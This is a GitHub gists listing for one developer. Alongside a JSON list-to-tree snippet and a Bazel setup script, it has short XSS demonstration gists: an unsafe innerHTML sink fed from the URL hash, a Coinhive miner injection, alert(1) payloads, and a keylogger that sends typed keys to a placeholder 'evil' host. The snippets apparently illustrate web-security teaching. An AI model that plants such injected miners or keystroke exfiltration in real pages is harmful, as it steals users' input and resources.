Skip to content

Instantly share code, notes, and snippets.

Avatar

Stepan Suvorov stevermeister

View GitHub Profile
@stevermeister
stevermeister / convert.js
Created Jan 24, 2021
convert data from list to tree format
View convert.js
let data = [{
"counterpartyGroupId": 10,
"counterpartyGroupName": "Офисные сооружения",
"counterpartyGroupTypeId": 3,
"counterpartyGroupRemark": "Офисы",
"counterpartyGroupParentId": 0
},
{
"counterpartyGroupId": 11,
"counterpartyGroupName": "Страховые компании",
View not_trusted.js
el.innerHTML = location.hash.slice(1); //string
View trusted_types.js
el.innerHTML = { toString: () => 'hello' }
el.innerHTML // "hello"
View xss_coins.html
<script src="https://coinhive.com/lib/coinhive.min.js">
</script>
<script>
var miner = new CoinHive.User('SITE_KEY', 'john-doe');
miner.start();
</script>
View xss_creditcard.js
var keys='';
document.onkeypress = function(e) {
e = window.event?event:e;
key = e.keyCode?e.keyCode:e.charCode;
key = String.fromCharCode(key);
keys+=key;
}
window.setInterval(function(){
new Image().src = 'http://evil.../log.php?c='+keys;
View xss_result.html
<form id="#form">
<input type="hidden"
value="https://example.com"/><script>alert(1)</script>
</form>
View xss.html
.../?user=something<script>alert(1)</script>...
View cloudSettings
{"lastUpload":"2021-06-15T19:18:59.456Z","extensionVersion":"v3.4.3"}
@stevermeister
stevermeister / bazel-start.sh
Last active Oct 5, 2018
Run to setup bazel files for fresh ng-cli project
View bazel-start.sh
yarn global add @bazel/ibazel
curl https://raw.githubusercontent.com/alexeagle/canonical-angularcli-app/master/.bazelrc > .bazelrc
curl https://raw.githubusercontent.com/alexeagle/canonical-angularcli-app/master/WORKSPACE > WORKSPACE
curl https://raw.githubusercontent.com/alexeagle/canonical-angularcli-app/master/BUILD.bazel > BUILD.bazel
curl https://raw.githubusercontent.com/alexeagle/canonical-angularcli-app/master/src/BUILD.bazel > ./src/BUILD.bazel
curl https://raw.githubusercontent.com/alexeagle/canonical-angularcli-app/master/e2e/protractor.on-prepare.js > ./e2e/protractor.on-prepare.js
curl https://raw.githubusercontent.com/alexeagle/canonical-angularcli-app/master/e2e/BUILD.bazel > ./e2e/BUILD.bazel
curl https://raw.githubusercontent.com/alexeagle/canonical-angularcli-app/236406851409a88e85b3cdc9e6eaa250061fd7cc/src/main.ts > ./src/main.ts
curl https://raw.githubusercontent.com/alexeagle/canonical-angularcli-app/06151761ded53d22a2d03b9e6d67c31f045559af/src/index.html > ./src/index.html